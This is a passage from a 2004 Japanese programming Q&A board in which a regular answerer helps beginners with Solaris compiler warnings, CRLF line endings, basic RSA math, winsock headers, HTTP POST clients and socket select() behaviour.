> strlen(toSendtxt[idx]) + 1, NO_FLAGS_SET);
この +1 は不要では?

No. 3790 # どら 2004/06/15 (火) 15:34:48
はじめまして。まだ初めて1ヶ月の初心者です。
すいませんがどうしてもエラーメッセージの意味がわからないので、教えていただかないでしょうか?

OSはSolarisの5.8です。

--------------------------------------------------------------------------------
ucbcc: 警告: ld が起動される場合は、オプション -YP,:/usr/ucblib:/opt/SUNWspro/WS
6U2/bin/../lib:/opt/SUNWspro/WS6U2/bin:/usr/ccs/lib:/usr/lib は ld に渡されます
。それ以外は無視されます
ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
--------------------------------------------------------------------------------

というものでした。特にldというものがいまいち理解できないのですが、ぜひとも教えてただければと思います。よろしくお願いします。

No. 3791 # den 2004/06/15 (火) 18:28:48
>> 3786

HTTP 1.0 以降では、ヘッダと本文を空行で分けているらしく、その空行が
ないためにレスポンスがないことがわかりました。

その後、HTTP Version Not Supported というレスポンスが返されるだけ
だったのですが、リクエストを "POST <<URL>> HTTP1.1" と空行だけに
したところちゃんとしたレスポンスを返すようになりました。

    

No. 3792 # TSURU 2004/06/15 (火) 20:48:47
>>3783 68user
>C で HTTP クライアントを作るって話なので、別に変ではないです。
いえ、僕は、サーバ上にある、Servletのプロセスを起動する処理を
Cのプログラムの中で実装する話だと思ってしまったので、
おかしいと思ったんですよ。

No. 3793 # TSURU 2004/06/15 (火) 21:00:07
denさんへ

根本的な話をしていいですか?

>>3781 den
の発言を読むかぎりでは、denさんのやりたいことは、
出社時間と退社時間を記録したいということですよね。
それだけのために、なぜサーブレットが必要になるんですか?
そこが分からないんですよ。
出社時間と退社時間を記録するだけだったら、別にサーブレット
を使わなくても、方法はいくらでもありますよね。
どうしてもサーブレットじゃないとだめなんですか?

でも、もうできたんですよね。
だったら、無理に他の方法でやれとは言いませんが、
ただ気になったので、書いてみました。

No. 3794 # TSURU 2004/06/15 (火) 21:57:40
denさんへ

>>3793 TSURU
の書き込みは、べつにあげあしとりとか、意地悪をするために書いたのではありません。
あくまで、単に疑問に思ったことを書いただけですので、くれぐれも誤解なきよう
お願いします。

No. 3795 # den 2004/06/15 (火) 22:24:04
>> 3793

話がややこしくなりそうなのであまり追求しようとは思わないのですが、
サーブレット以外にもやり方はあると思います。

ただインターネットエクスプローラから時間の記録ができたら便利かなと思って
そのようにしました。

でも仮で運用しているとそれでは使いづらいといわれてしまったので、
既存のサーブレットを利用して、C で起動する処理を作って済まそうと
思ったわけです。

サーブレットは、HTTPのリクエストをサーブレットコンテナが受信すれば
起動されるのでサーブレットを起動するには、HTTPクライアントとして
リクエストを送るだけでいいのです。

どうもありがとうございました。

No. 3796 # TSURU 2004/06/15 (火) 22:34:20
>>3795 den
なるほど。
細かい事情は分かりませんが、サーブレットを起動することで
済ませたかった訳ですね。
ゼロから実装するより、既存のもので済ませた方がずっど楽ですからね。
分かりました。

No. 3797 # yoko 2004/06/17 (木) 12:01:46
>>3776 yoko

返事遅くなりました。No.3776 yokoです。
No. 3783 # 68user
No. 3780 # とーりすがり
No. 3777 # TSURU
さん、レスありがとう。
ls -l > hoge.lst で調べるとtest^Mといった(^M)がついていました。
原因は分かりましたが、まだ格闘中です。
rm -r test^M
rm -r 'test^M'
rmdir 'test^M'
でも消えないんですよね。

  rm-r

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3798 # yoko 2004/06/17 (木) 17:11:08
>>3776 yoko

3776で投稿した yokoです。
rm -r test^Mで消えませんでしたがrm -r test*で消す事ができました。
皆さん、
ありがとうございました。

No. 3799 # kou 2004/06/17 (木) 21:10:06
RSA暗号についての質問なんですが、公開鍵とモジュロは分かるんですよね。
それならば、どういう頻度で循環しているか分かってしまうのではないでしょうか?
循環する頻度と公開鍵があれば秘密鍵も分かってしまうのでは・・?

No. 3800 # 68user 2004/06/17 (木) 23:55:01
>>3790 どら
まず、以下の質問に答えてください。

- gcc をインストールしていますか?
- Sun のコンパイラをインストールしていますか? (/opt/SUNWspro/bin/cc などが存在しますか?)
- which cc と which ld の結果は?
- echo $PATH の結果は?
- 「あなたは」どのコンパイラを使ってコンパイルしようとしていますか? (gcc or Sun の cc)
- 実際に使用されていると思われるのはどのコンパイラですか? また、その根拠は?

>>3797 yoko
> ls -l > hoge.lst で調べるとtest^Mといった(^M)が
> ついていました。
^M はエスケープシーケンス \r (0x0d) です。シェルから
入力する場合は
    sh なら
        % rm test(Ctrl-v Ctrl-m)
    tcsh なら
        % rm test(Ctrl-v Ctrl-j)
とします。csh はどっちだか知りません。

ところでなぜ tcsh は Ctrl-j が ^M で、Ctrl-m が ^J
なんでしょうね?

>>3799 kou
> RSA暗号についての質問なんですが、公開鍵とモジュロは分かるんですよね。
> それならば、どういう頻度で循環しているか分かってしまうのではないでしょうか?
えーと、そういうことはないんですが、何と説明すればよいか
わかりません。

    秘密鍵: e, n
    公開鍵: d, n
    暗号化: (平文^e)%n
    復号化: (暗号文^d)%n

として、今、平文と e が不明だとします。何をどうすると、
何がどういうふうに循環すると考えておられますか?

なお、(平文^e)%n という操作は単射です。つまり異なる平文が
同じ値になることはありません。

もし数学的に厳密な証明を期待しておられるなら、わたしには
その能力がないので、
      http://www.faireal.net/
での質問をお勧めします。

No. 3801 # どら 2004/06/18 (金) 00:27:52
>>3800 68user
68userさん、レスありがとうございます。
質問に答えさせていただきます。

(1)gcc をインストールしていますか?
gccというもの自体はわかりませんが、fccとccはインストールしてあるみたいです。(すいません、学校のものなので・・・)

(2)Sun のコンパイラをインストールしていますか? (/opt/SUNWspro/bin/cc などが存在しますか?)
/opt/SUNWspro/bin/ccはディレクトリの中にありました。

(3)which cc と which ld の結果は?
which cc:/usr/ucb/cc
which ld:/usr/ucb/ld
という結果でした。

(4)echo $PATH の結果は?
/bin /usr/bin /usr/ucb /etc /opt/SUNWspro/bin /opt/FSUNf90/bin /disk2/user/md/gnuplot
という結果でした。

(5)「あなたは」どのコンパイラを使ってコンパイルしようとしていますか? (gcc or Sun の cc)
いままでの練習ではccでコンパイルしていました。これからもccでコンパイルするつもりです。

(6)実際に使用されていると思われるのはどのコンパイラですか? また、その根拠は?
上にも書きましたが、いままではccのコンパイラでコンパイルしていたので、ccのコンパイラだと思います。

さきほどgccについて調べた所、GNUが関連しているみたいでした。これから先にGNUplotを使用してグラフも書きたいと思っているのですが、
それについても何かアドバイスをいただければありがたいと思います。よろしくお願いします。

No. 3802 # 68user 2004/06/18 (金) 01:07:24
>>3801 どら
あらそうですか。予想と外れていたのでもうひとつ追加で質問。

>>3790 どら
> ucbcc: 警告: ld が起動される場合は、オプション -YP,:/usr/ucblib:...
ここだけでなく、コンパイルしてからコンパイルが終わるまで全ての
部分を見せてください。Makefile を使っているにせよ、自分でタイプ
したにせよ、とにかく全部見せてください。

> これから先にGNUplotを使用してグラフも書きたいと思っているのですが、
紛らわしいですが、gnuplot は GNU とは関係ありません。

GNU というのは、フリーなソフトウェアが大好きな FSF
という団体が提唱するソフトウェアのライセンス方式の
ことを指します。gcc も GNU ライセンスで配布されています。
しかし gnuplot はそうではありません。

あと、gcc と gnuplot は関係ないです。gcc はコンパイラ。
gnuplot はグラフ描画ソフト。

No. 3803 # 2004/06/18 (金) 10:59:55
はじめまして、こんにちは。いきなりで非常に申し訳ないのですが、socketのインクルードファイルはどこでダウンロードしたらいいのでしょうか?もしくは、どのOSになら入っているのでしょうか?

No. 3804 # 68user 2004/06/18 (金) 11:12:39
>>3803
わたしの知る限りでは、UNIX 系であれば標準で入っています。

Windows 系であれば、VC++ や C++ Builder などのコンパイラに
添付されているのかな?

No. 3805 # 蒲鉾 2004/06/18 (金) 11:41:29
UNIXの<sys/socket.h>の様なファイルは
windowsでどこにあるのですか
windowsで<sys/socket.h>をインクルードしてもファイルが開けない
というようなメッセージがでてしまいます。

No. 3806 # kou 2004/06/18 (金) 19:37:06
> 秘密鍵: e, n
> 公開鍵: d, n
> 暗号化: (平文^e)%n
> 復号化: (暗号文^d)%n
>
>として、今、平文と e が不明だとします。何をどうすると、
>何がどういうふうに循環すると考えておられますか?
nを生成するのがp,qで、それらの最小公倍数がe,dだという私の認識自体が間違っていたのでしょうか^^;
一定の頻度で循環しているから、それ以内の適当な数eでべき乗しても補完関係にあるd(最小公倍数-e)で復号化できる。
平文に「1,2,3・・」といった具合に数を代入していけば循環周期が分かるのでは?と思ったのです

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3807 # 68user 2004/06/19 (土) 00:23:45
>>3805 蒲鉾
> UNIXの<sys/socket.h>の様なファイルはwindowsでどこにあるのですか
winsock.h ですが、Windows の場合は他にもいろいろと書き方が
異なります。「winsock」で検索して、よさそうなサンプルを
探してください。

もっとも信頼できると思われるサンプルは
    http://www.kt.rim.or.jp/~ksk/wskfaq-ja/examples/basics/
でしょうが、ライブラリ化してあるのでわたしは初心者には
わかりやすいとは思いませんが、もし理解できるならこれを
参考にするのがよいでしょう。

>>3806 kou
> nを生成するのがp,qで、それらの最小公倍数がe,d
誤りと思われます。
    http://x68000.startshop.co.jp/~68user/net/crypt-2.html
の「RSA の本当のところ」を読んでください。

もう少し正確に、かつ数学的に書くと、
    p,q: 素数
    n: n=pq
    e: 1<e<(p-1)(q-1) かつ gcd(e, (p-1)(q-1))=1 を満たす自然数
    d: 1<d<(p-1)(q-1) かつ de≡1 (mod (p-1)(q-1)) を満たす自然数
として求めます。

# gcd(e, (p-1)(q-1))=1 は、e と (p-1)(q-1) が共通の約数を持たないということ。
# de≡1 (mod (p-1)(q-1)) は、d*e を (p-1)(q-1) で割った余りが 1 であるということ。

No. 3808 # どら 2004/06/19 (土) 00:52:56
>>68user
何度もありがとうございます。

“ex3-2.c”というファイルを“keisan3-2”としてコンパイルした結果を載せさせていただきます。
--------------------------------------------------------------------------------
tds1% cc -o keisan3-2 ex3-2.c
ucbcc: 警告: ld が起動される場合は、オプション -YP,:/usr/ucblib:/opt/SUNWspro/WS
6U2/bin/../lib:/opt/SUNWspro/WS6U2/bin:/usr/ccs/lib:/usr/lib は ld に渡されます
。それ以外は無視されます
"ex3-2.c", 16 行目: 警告: ファイルの最後に改行文字がありません
ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
---------------------------------------------------------------------------------

以前実行した時はうまくいったのですが、いつの間にかできなくなりました。
あと、上の文章の中で“16行目:〜ありません”という警告文もどのプログラムにも発生するみたいです。(この警告も以前はありませんでしたし、ファイルの中身はかえてないはずです。)
一応、簡単な文章でもうしわけないのですが、プログラムも載せさせていただきます。(教科書のコピーです…)

---------------------------------------------------------------------------------
/* 【例題3.2】 rei3_2 */

#include <stdio.h>

main()
{
    int a,b;

    printf("異なる2つの整数を入力してください--->");
    scanf("%d %d",&a,&b);
    if(a > b)
    printf("%d --- BIG\n",a);
    else
    printf("%d --- BIG\n",b);
    return(0);
}
-----------------------------------------------------------------------------------

よろしくお願いします。

No. 3809 # 68user 2004/06/19 (土) 01:43:46
>>3808 どら
たびたびすみませんが、
    % sh -x /usr/ucb/cc -v -o keisan3-2 ex3-2.c
の結果 (全文) を教えてください。

あと、env の結果も教えてください。ホスト名やログイン名などを
公開するのが嫌なら、適当に削ってから提示してください。


これ以上引っ張ると怒られそうなので、一部回答しておきますが、

> ucbcc: 警告: ld が起動される場合は、... 無視されます
> ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
これは警告なので、実行には支障がないはずです。keisan3-2 が
生成されていませんか?

> "ex3-2.c", 16 行目: 警告: ファイルの最後に改行文字がありません
これは文字通り、ファイルの最終行が改行コードが付いて
いないのでしょう。ファイルの最終行の末尾で改行してください。
ファイル末尾に改行がないとその行を読んでくれないプログラムも
あるので、改行をつける癖をつけておくことをお勧めします。

No. 3810 # どら 2004/06/19 (土) 09:48:43
>>3809 68user
何度もありがとうございます。このミスが見つからないと先に進みづらいので、教えていただけるのなら、どれだけ質問されても怒ったりしません。むしろどれだけでも聞いてください。お願いします。

% sh -x /usr/ucb/cc -v -o keisan3-2 ex3-2.cの結果を下に書きます。
------------------------------------------------------------------------------
+ [ -f /usr/ccs/bin/ucbcc ]
+ [ 4 -eq 0 ]
UCB_LIB_DIR=/usr/ucblib
CCS_LIB_DIR=/usr/ccs/lib
USR_LIB=/usr/lib
TYPE=
dopt=
cgdir=
+ [ x = x ]
LD_RUN_PATH=/usr/ucblib
+ export LD_RUN_PATH
+ [ = -Bstatic ]
LIBS=-lucb -lsocket -lnsl -lelf -laio
+ + awk/usr/bin/ls -ln /usr/ccs/bin/ucbcc{print $11}

cclink=/opt/SUNWspro/WS6U2/bin/acc
+ /usr/bin/dirname /opt/SUNWspro/WS6U2/bin/acc
ccdir=/opt/SUNWspro/WS6U2/bin
+ [ != ]
nccdir=/opt/SUNWspro/WS6U2/bin/../lib:/opt/SUNWspro/WS6U2/bin
LD_LIBRARY_PATH=/usr/ucblib:/usr/ccs/lib:/usr/lib
+ export LD_LIBRARY_PATH
+ /usr/ccs/bin/ucbcc -Xs -YP,:/usr/ucblib:/opt/SUNWspro/WS6U2/bin/../lib:/opt/SU
NWspro/WS6U2/bin:/usr/ccs/lib:/usr/lib -v -o keisan3-2 ex3-2.c -I/usr/ucbinclude
  -lucb -lsocket -lnsl -lelf -laio
ucbcc: 警告: ld が起動される場合は、オプション -YP,:/usr/ucblib:/opt/SUNWspro/WS
6U2/bin/../lib:/opt/SUNWspro/WS6U2/bin:/usr/ccs/lib:/usr/lib は ld に渡されます
。それ以外は無視されます
### コマンド行ファイルおよびオプション (展開済み):
### -v -o keisan3-2 ex3-2.c -I/usr/ucbinclude -lucb -lsocket -lnsl -lelf -laio
### ucbcc: 注釈: LM_LICENSE_FILE = (null)
### ucbcc: 注釈: NLSPATH = /opt/SUNWspro/WS6U2/bin/../lib/locale/%L/LC_MESSAGES/
%N.cat:/opt/SUNWspro/WS6U2/bin/../../lib/locale/%L/LC_MESSAGES/%N.cat
/usr/ccs/lib/cpp -undef -D__SunOS_5_8 -D__SUNPRO_C=0x510 -Dunix -D__unix -Dsun -
D__sun -D__BUILTIN_VA_ARG_INCR -D__SVR4 -Dsparc -D__sparc -I/usr/ucbinclude ex3-
2.c >/tmp/cpp.20856.0.i
/opt/SUNWspro/WS6U2/bin/acomp -Qy -y-o -yex3-2.o -I/usr/ucbinclude -g "/opt/SUNW
spro/WS6U2/bin/acc -Xs -YP,:/usr/ucblib:/opt/SUNWspro/WS6U2/bin/../lib:/opt/SUNW
spro/WS6U2/bin:/usr/ccs/lib:/usr/lib -v -I/usr/ucbinclude -c" -b -y-fbe -y/opt/
SUNWspro/WS6U2/bin/fbe -y-xarch=generic -y-xmemalign=4s -y-verbose -Xs -D__SunOS
_5_8 -D__SUNPRO_C=0x510 -Dunix -Dsun -Dsparc -D__unix -D__sun -D__sparc -D__BUIL
TIN_VA_ARG_INCR -D__SVR4 -y-s -I/opt/SUNWspro/WS6U2/include/cc -i /tmp/cpp.20856
.0.i
"ex3-2.c", 16 行目: 警告: ファイルの最後に改行文字がありません
rm /tmp/cpp.20856.0.i
### ucbcc: 注釈: LD_LIBRARY_PATH = /usr/ucblib:/usr/ccs/lib:/usr/lib
### ucbcc: 注釈: LD_RUN_PATH = /usr/ucblib
### ucbcc: 注釈: LD_OPTIONS = (null)
/usr/ccs/bin/ld -o keisan3-2 /opt/SUNWspro/WS6U2/lib/crti.o /opt/SUNWspro/WS6U2/
lib/crt1.o /opt/SUNWspro/WS6U2/lib/values-xs.o -Y P,/opt/SUNWspro/WS6U2/lib:/usr
/ccs/lib:/usr/lib -YP,:/usr/ucblib:/opt/SUNWspro/WS6U2/bin/../lib:/opt/SUNWspro/
WS6U2/bin:/usr/ccs/lib:/usr/lib ex3-2.o -lucb -lsocket -lnsl -lelf -laio -lc /op
t/SUNWspro/WS6U2/lib/crtn.o
ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
rm ex3-2.o
ret=0
+ exit 0
-------------------------------------------------------------------------

envの結果も書かせていただきます。

-------------------------------------------------------------------------
HOME=/disk2/user/md
PATH=/bin:/usr/bin:/usr/ucb:/etc:/opt/SUNWspro/bin:/opt/FSUNf90/bin:/disk2/user/
md/gnuplot:.
LOGNAME=
HZ=100
TERM=vt100
TZ=Japan
SHELL=/bin/csh
MAIL=/var/mail/md
LANG=ja
_INIT_NET_STRATEGY=none
_INIT_PREV_LEVEL=S
_INIT_RUN_LEVEL=3
_INIT_RUN_NPREV=0
_INIT_UTS_ISA=sparc
_INIT_UTS_MACHINE=sun4u
_INIT_UTS_NODENAME=
_INIT_UTS_PLATFORM=SUNW,Sun-Blade-1000
_INIT_UTS_RELEASE=5.8
_INIT_UTS_SYSNAME=SunOS
_INIT_UTS_VERSION=Generic_108528-27
PWD=/disk2/user/md
USER=md
LD_LIBRARY_PATH=/opt/FSUNf90/lib:/opt/SUNWspro/lib
MANPATH=/opt/FSUNf90/man:/opt/SUNWspro/man
-------------------------------------------------------------------------
という結果でした。


>>ucbcc: 警告: ld が起動される場合は、... 無視されます
>>ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
>これは警告なので、実行には支障がないはずです。keisan3-2 が
>生成されていませんか?
はい、ファイルはできています。実行すれば結果も出力されています。ただ、毎回この警告文がでていて、どれぐらい問題なのかどうかもわからないので、できるかぎり問題を取り除くことと、その理由が知りたいので…

>ファイル末尾に改行がないとその行を読んでくれないプログラムも
>あるので、改行をつける癖をつけておくことをお勧めします。
初めてしりました。ありがとうございます。気をつけます。

あと、もしお手数でなければ、今までされた質問の意図を教えていただければありがたいと思うのですが…手間がかかるようでしたら全然かまいませんので、よろしくお願いします。
それではまたよろしくお願いします。

No. 3811 # 68user 2004/06/19 (土) 22:05:38
>>3810 どら
結局、よくわかりませんでした。

Solaris の /usr/ucb/cc はシェルスクリプトで、/usr/ccs/bin/ucbcc
を起動しています。/usr/ccs/bin/ucbcc は /opt/SUNWspro/WS6U2/bin/acc
へのシンボリックリンクになっているはず。ですから、
        ucbcc: 警告:...
というのは acc が出力しているわけです。

コンパイラは
    http://x68000.startshop.co.jp/~68user/unix/pickup?gcc
にあるように、プリプロセス・コンパイル・アセンブル・リンクという
ステップを踏みます。提示していただいた例だと、最初に /usr/ccs/bin/ucbcc
(実体は /opt/SUNWspro/WS6U2/bin/acc) が実行され、それが
    /usr/ccs/lib/cpp (プリプロセッサ)
    /opt/SUNWspro/WS6U2/bin/acomp (コンパイラ)
    /usr/ccs/bin/ld (リンカ)
を順次起動しています。

# この場合、アセンブルはコンパイラの中で行われています。

で、
      ucbcc: 警告: ld が起動される場合は、オプション .. は ld に渡されます。...
というのは、最初に起動された ucbcc が -YP,.. というオプションを
理解できなかったため、
      「わたしの知らないオプションだけど、今から起動する ld ならこの
          オプションを理解できるかもしれないので、ld に -YP を渡します」
と言っているわけです。ただし、cc に -c オプションをつけたりすると
リンクは行われないため、そういうときに備えて
      「ld を実行しないようなオプションを指定された場合は ld が
          実行されないので、結果的に -YP オプションは無視されます」
とも言ってます。

で、
> ld: 警告: オプション -YP が複数回存在します。最初の設定で行います。
についてですが、-YP オプションは ld に渡されます。実行結果を
見るとなぜか /usr/ccs/bin/ld に -YP が 2つ渡されてしまって
います。-YP オプションは、ライブラリを検索するディレクトリを
指定するものなので、ld は
      「ライブラリを検索するディレクトリが 2つ指定されているので、
          後の方を無視して、最初の方を使います」
と警告しています。

なぜ -YP オプションが複数渡されるのかを知りたいため、-v オプションを
つけてもらったり、env で環境変数を見せてもらったりしましたが、怪しげ
なものを見つけることはできませんでした。

> 特にldというものがいまいち理解できないのですが
ld はリンカです。例えば
>>3868 jeiu
で printf や scanf などの関数を使っていますが、これらの関数は
OS の機能として用意されているものではありませんし、コンパイラが
内蔵している機能でもありません。

/usr/lib/ の下に *.a や *.so などのファイルがあると思いますが、
ここにコンパイル済の printf や scanf が入っており、それと結合
しているわけです。それらのライブラリ関数と、あなたが作った
プログラムを結合するのがリンカの仕事で、コンパイル済の printf
や scanf はどのディレクトリに置いてあるかを指定するのが -YP
オプションです。

だらだらと書いてきましたが、ぶっちゃけて言うと一般的な解決方法は
      Solaris では /usr/ucb/cc を使わず、/opt/SUNWspro/bin/cc を
      使う。できれば PATH から /usr/ucb/cc を削除した方がよい
というもので、これはよく知られたノウハウです。/usr/ucb は
SunOS4 時代 (20年くらい前) との互換性のためのディレクトリで
あって、今どき積極的に使う必要性はありません。

ただ、わたしは根本的な原因を知りたかったので しつこく聞いて
みたのですが、実を結ばなかったようで誠に残念です。


以下は余談ですが、あなたの環境のコンパイラはおそらく Forte C update 2
という Sun の製品です。わたしの手元には Solaris2.6 + Sun Workshop
(Forte C の前バージョン。Sun の製品) がありますが、いくら頑張っても
同じエラーメッセージを出すことができませんでした。

よって、多分 Forte C の不具合ではないかと予想しています。

No. 3812 # zsh 2004/06/19 (土) 23:32:29
>>3811 68user
>>3810 どら
富士通のコンパイラも入っていそうだという事が気になるのですが・・・
/usr/ccs/bin/ucbcc は Forte へのシンボリックリンクになってますか?

No. 3813 # 68user 2004/06/20 (日) 00:12:16
>>3812 zsh
> 富士通のコンパイラも入っていそうだという事が気になるのですが・・・
/opt/FSUNf90/bin とかですか? Fortran のコンパイラと見たので
特に関係はないかと判断したのですが、どうなんでしょうね。

No. 3814 # どら 2004/06/20 (日) 21:09:26
>>3811 68user
お手数をおかけしてすいませんでした。
説明がわかりやすくてうれしかったです!!

PATHから/usr/ucb/ccを削除してみました。
そしたらいままでの警告文はなくなりました!!ありがとうございました。
しかし今までになかった警告文がでました。

-------------------------------------------------------------------
"ex3-1.c", 3 行目: 警告: 指令中に無効な空白文字があります
-------------------------------------------------------------------

というものでした。今まではこんな警告もなかったし、3行目の空白も見当たりません。
この前載せたプログラムと同じものなのですが、#includeと<stdio.h>の間の空白を消してみましたが同じでした。
またなにか問題なのでしょうか?他の例題に関してもまったくおんなじ警告文がでます…
この形の警告文はたいていプログラムの問題だったので、プログラムをいじれば解決していたのですが…

あと、もしよろしければ、gnuplotの使い方も教えていただければうれしいのですが…
いろいろなホームページ上の例題をやってみたのですが、どれもうまくいかなくて…
(特に、Cのプログラムをgnuplotに出力させたいのですが、gnuplot本体を置くディレクトリの場所とか、リンクの仕方とか…)
もし時間があればでけっこうですので、少し教えていただけないでしょうか。よろしくお願いします。

No. 3815 # 68user 2004/06/21 (月) 11:07:58
>>3814 どら
> "ex3-1.c", 3 行目: 警告: 指令中に無効な空白文字があります
ソースを少しずつ削って、この警告が出る場所を特定してください。
問題の行を特定したけれども原因がわからない場合は、
      % od -cx < ex3-1.c (最小限まで削ったファイル)
として、変な文字が入っていないか確認してください。

> もしよろしければ、gnuplotの使い方も教えていただければうれしいのですが…
質問がある場合は
    http://www.hyuki.com/writing/techask.html
を熟読した上でお願いします。ただしこの掲示板ではこれまで gnuplot の話題が
出たことはないので、
      Gnuplot Q&A 掲示板
          http://ayapin.film.s.dendai.ac.jp/cgi-bin/trees.cgi
などで聞いた方がよいかもしれません。適切な答えをもらうにはどこで
質問するのが効果的かを見極めた上でどうぞ。

それはそれとして
> Cのプログラムをgnuplotに出力させたいのですが
やればできるでしょうけど、gnuplot の使い方としては適切ではないような気がします。

No. 3816 # どら 2004/06/22 (火) 11:16:48
>>3815 68user

>> "ex3-1.c", 3 行目: 警告: 指令中に無効な空白文字があります
>ソースを少しずつ削って、この警告が出る場所を特定してください。
includeの文を1行全部削ってみた所、正常に動きました。
しかし、includeの文はプログラムには絶対必要なものと思っていたのですが…
include文が無くても動くということはありえるのですか?
下に正常に動いたプログラムを書きます。
-----------------------------------------------------------------------
/* 【例題3.1】 rei3_1 */

main()
{
    int a,b;

    printf("異なる2つの整数を入力してください--->");
    scanf("%d %d",&a,&b);
    if(a > b)
    printf("%d --- BIG\n",a);
    
}
------------------------------------------------------------------------

No. 3817 # 68user 2004/06/22 (火) 12:16:39
>>3816 どら
> includeの文を1行全部削ってみた所、正常に動きました。
逆です。動くように削っていくのではなく、動かない最小限の部分を
突き止め、その原因を探る方法を教えたつもりです。

つまり #include に原因があることがはっきりしたので、
    % grep include ex3-1.c | od -cx
として、なぜ警告が出るのかを調べるべきです。

> include文が無くても動くということはありえるのですか?
いろいろありますが、初心者のうちは include 文は書くべきと
思っておく方がよいでしょう。

No. 3818 # どら 2004/06/22 (火) 15:36:28
>>3817 68user

この前のプログラムから、#includeと<stdio.h>の間の空白を削除してみましたが、やはり同じ警告が出ました。
それで、そのプログラムにgrepをかけてみました。どこに空白文字があるのかがわかりません…
あるとしても最後の“\d\n”ぐらいだと思うのですが、これは指令とは関係ないし、必要なもののはずなのですが…

下に“grep include ex3-1.c | od -cx”の結果を書きますので、終えてください。よろしくお願いします。
--------------------------------------------------------------------------
0000000 # i n c l u d e < s t d i o . h
                        2369 6e63 6c75 6465 3c73 7464 696f 2e68
0000020 > \r \n
                        3e0d 0a00
0000023
-------------------------------------------------------------------------

No. 3819 # 68user 2004/06/22 (火) 21:23:39
>>3818 どら
> 0000020 > \r \n
改行コードが CR LF になっています。UNIX の改行コードは LF です。
CR が空白文字扱いされているのでしょう。

とりあえず CR を削るだけなら tr コマンドが使えます。
    http://x68000.startshop.co.jp/~68user/unix/pickup?tr

Windows で作ったソースを ftp などで UNIX 上に持ってきて
いるなら、アスキーモードで転送しましょう。ただし、全て
UNIX 上で開発するのがスキルアップへの道だと思います。

No. 3820 # どら 2004/06/22 (火) 23:53:00
>>3819 68user

trコマンドで\r\nを\nに変えてみるとうまく作動しました。
ためしに、ftpでの転送もアスキーモードに変えると
うまく作動しました。
原因が改行コードとは…気づきませんでした。

いろいろとありがとうございました。

No. 3821 # マツマツ 2004/06/23 (水) 22:43:52
初めて掲載しますが....、
ソケット通信で、select()を使用した非同期通信をさせているのですが、
select()で検知した当該FDを(例としてFD=10と設定)recv()したら、
FD=10のrecv()返値が0(CLOSE?)となることがあります。
recv()返値が0の場合は、相手側がCLOSEしたものと認識はできるのですが、
疑問に思う動作でそれは、通常FD=10ならFD=10を介して送受信を行い、
select()監視しさせて、何かイヘ゛ント発生があればrecv()の動作に遷移する
動きを正常にしているのですが、突然的に(不規則と言うか、不確定と言うか)
FD=10で送信後そのFD=10で受信するのに、select()からの戻りが数十秒
(ほとんど決まって、24〜25秒経って)経って検知され、recv()したら
返値が0であると言う動作があります。
このような動作になる原因が解らず、何かヒントや調べる手立てとかありませんか???。
(これって、ネットワーク障害/ネットワーク負荷とか、相手側マシンのHW的障害
などの影響も考えられますか....???)
...記述表現が的確でありませんが、ご了承ください。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3822 # ユウキ 2004/06/24 (木) 01:45:54
いまここのHTTPクライアントを参考にして
POSTをCGIへ仲介するCGIを作っているのですがうまくいきません;
GETのところを
print SOCKET "POST / HTTP/1.0\r\n";
print SOCKET "Content-Length: $size\r\n";
print SOCKET "\r\n";
print SOCKET "$buffer\r\n";
として
$buffer = $ENV{ 'QUERY_STRING' };
$size = length $buffer;
を追加してみたのですが・・・。お知恵を拝借できませんでしょうか?

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3823 # 68user 2004/06/24 (木) 02:14:44
>>3821 マツマツ
> FD=10で送信後そのFD=10で受信するのに、select()からの戻りが数十秒
> (ほとんど決まって、24〜25秒経って)経って検知され、recv()したら
> 返値が0であると言う動作があります。
よく理解できませんが、
    1. send し、select で待つ。
    2. 相手側はデータを受信後、すぐに close しているはず。
    3. ところが select で 24〜25 秒待たされ、その後に読み込み可能になる。
    4. recv すると 0 が返ってくる。
ということであれば、
    a. ネットワークの質が悪く、TCP の再送タイマが働いている
    b. 2 で相手が 24〜25 秒かけて何かを処理してから close している
くらいしか思いつきませんでした。パケットダンプしてみては。

>>3822 ユウキ
そんな複雑なプログラムを書くのはやめて、まずは単純に POST する
プログラムを書くべきでしょう。もし、そういうプログラムは既に作成済
ということであれば、うまくいく場合とうまくいかない場合のリクエストを
見比べればわかるでしょう。


あと、質問をする前に
    http://x68000.startshop.co.jp/~68user/cgi-bin/wwwboard.cgi?howtouse
を読んでください>質問者の方々

自分の使っている環境すら書かない人、回答してもわかったのかどうか返事さえ
書かない人が多くて、少々うんざりです。

No. 3824 # ユウキ 2004/06/24 (木) 04:44:17
申し訳ないです;少し安易に書き込んでしまいました。。。
単純にPOSTしてみます。深夜なのに申しわけなかったッス

No. 3825 # マツマツ 2004/06/24 (木) 15:55:40
●コメント/アドバイスの程ありがとうございます。
(個人的に多忙な面もあり、有意な内容が書かれていることに対して、
返事が遅れた点は、お許しください)

後追いの記載ですいませんが、使用しているマシンはSUNのSC2000
(OS:Solaris2.4)と、SVR4ベースOSを使ったマシン(ここでは相手側)
です。(LANのスペックは10BASE) <=両者とも今ではかなり古いものですが...。
またあえて言わしていただきますと、下記の3,4が発生するのは
SVR4ベースOSを使ったマシン側です。

> FD=10で送信後そのFD=10で受信するのに、select()からの戻りが数十秒
> (ほとんど決まって、24〜25秒経って)経って検知され、recv()したら
> 返値が0であると言う動作があります。
よく理解できませんが、
        1. send し、select で待つ。
        2. 相手側はデータを受信後、すぐに close しているはず。
        3. ところが select で 24〜25 秒待たされ、その後に読み込み可能になる。
        4. recv すると 0 が返ってくる。
ということであれば、
        a. ネットワークの質が悪く、TCP の再送タイマが働いている
        b. 2 で相手が 24〜25 秒かけて何かを処理してから close している
くらいしか思いつきませんでした。パケットダンプしてみては。

●まずは、LANアナライザーを噛まして見たいと思います。
    ちなみにTCPの再送タイマってものが働いている場合、そのタイマは
    24〜25秒の値なのでしょうか。

>>3822 ユウキ
